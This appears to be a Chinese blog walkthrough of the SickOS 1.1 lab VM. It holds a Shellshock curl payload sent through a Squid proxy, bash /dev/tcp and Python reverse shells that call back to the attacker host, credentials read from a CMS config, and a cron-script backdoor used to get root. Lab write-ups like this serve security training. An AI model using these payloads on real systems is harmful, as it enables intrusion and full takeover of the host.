export ip=192.168.25.134
nmap --min-rate 10000 -p- $ip
PORT STATE SERVICE 22/tcp open ssh 3128/tcp open squid-http 8080/tcp closed http-proxy MAC Address: 00:0C:29:C8:E0:D1 (VMware)
nmap -sT -sV -O -p22,3128,8080 $ip
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) 3128/tcp open http-proxy Squid http proxy 3.1.19 8080/tcp closed http-proxy MAC Address: 00:0C:29:C8:E0:D1 (VMware) Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.10 - 4.11 (92%), Linux 3.13 (91%), Linux 3.13 - 3.16 (91%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%), Android 5.0 - 6.0.1 (Linux 3.4) (91%), Linux 3.2 - 3.10 (91%), Linux 3.2 - 3.16 (91%), Linux 4.2 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap --script=vuln -p22,3128,8080 $ip
PORT STATE SERVICE 22/tcp open ssh 3128/tcp open squid-http 8080/tcp closed http-proxy MAC Address: 00:0C:29:C8:E0:D1 (VMware)
这里并没有扫到什么有价值的信息
nmap -sU --top-port 20 192.168.25.134
53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp open|filtered tftp 123/udp open|filtered ntp 135/udp open|filtered msrpc 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 139/udp open|filtered netbios-ssn 161/udp open|filtered snmp 162/udp open|filtered snmptrap 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp open|filtered route 631/udp open|filtered ipp 1434/udp open|filtered ms-sql-m 1900/udp open|filtered upnp 4500/udp open|filtered nat-t-ike 49152/udp open|filtered unknown
代理服务器3128与8080
这里使用nikto扫描并且指定代理服务器
nikto -h 192.168.25.134 -useproxy http://192.168.25.134:8080
这里使用代理服务器8080端口不能进行扫描
nikto -h 192.168.25.134 -useproxy http://192.168.25.134:3128
-h 参数指定目标主机IP地址
-useproxy 指定使用代理服务器进行扫描,绕过网络限制访问目标80端口,没有扫描到可能就就是存在网络限制

这里扫出服务器存在bash之门漏洞
curl -v --proxy http://192.168.25.134:3128 http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; /bin/bash -c 'echo vulnerable'"

-v 参数 表示curl运行结果详细显示
-proxy 参数 表示指定代理服务器
-H 表示添加HTTP请求头
User-Agent: () { :; }; echo; /bin/bash -c 'echo vulnerable' 为shellshock漏洞验证命令
验证成功我们这里就可以开始利用
curl -v --proxy http://192.168.25.134:3128 http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; /usr/bin/id;exit"

构造反弹Shell的Payload
msfvenom -p cmd/unix/reverse_bash lhost=192.168.25.132 lport=4444 -f raw
msfvenom:调用 Metasploit 的 payload 生成器的命令
cmd/unix/reverse_bash 是一个 Unix 平台上的反向 Bash shell 命令 payload
-f raw:指定了输出格式,raw 表示输出未编码的原始 shellcode
bash -c '0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;sh <&37 >&37 2>&37'
发现监听没有反应,将sh的路径改为绝对路径
bash -c '0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;/bin/sh <&37 >&37 2>&37'
因为上面的漏洞利用本来就是bash环境所以我们在执行的时候不用加上bash -c

这里连接成功
使用py命令,构造回显Shell
python -c 'import pty; pty.spawn("/bin/bash")'

id
uname -a
ifconfig
ls -liah
dpkg -l 看系统装了哪些软件
这里目录下有一个文件 status
cat status 查看
我们可以到/var/www路径中去,因为是个web服务器嘛
cd /var/www

cd wolfcms
cat config.php

在配置文件中我们找到了数据库的用户名root和密码john@123

根据信息联想到定时计划任务
cat /etc/crontab

ls -liah /etc/cron*
ls /etc/cron.d
cat /etc/cron.d
定时任务每分钟执行/var/www/connect.py
那就使用python生成shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.25.132",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.25.132",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' >> connect.py
也可以使用另一种方式 vi 文件 因为交互性不是很好所以我们直接输入就行不用管异常的字符
比如:先按o表示另起一行,然后粘贴,最后Esc加:wq保存
然后等上一会儿就可以获取root权限的Shell了

非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/sickos1-1%e9%9d%b6%e5%9c%ba-%e6%b3%95%e4%b8%80/
共有 0 条评论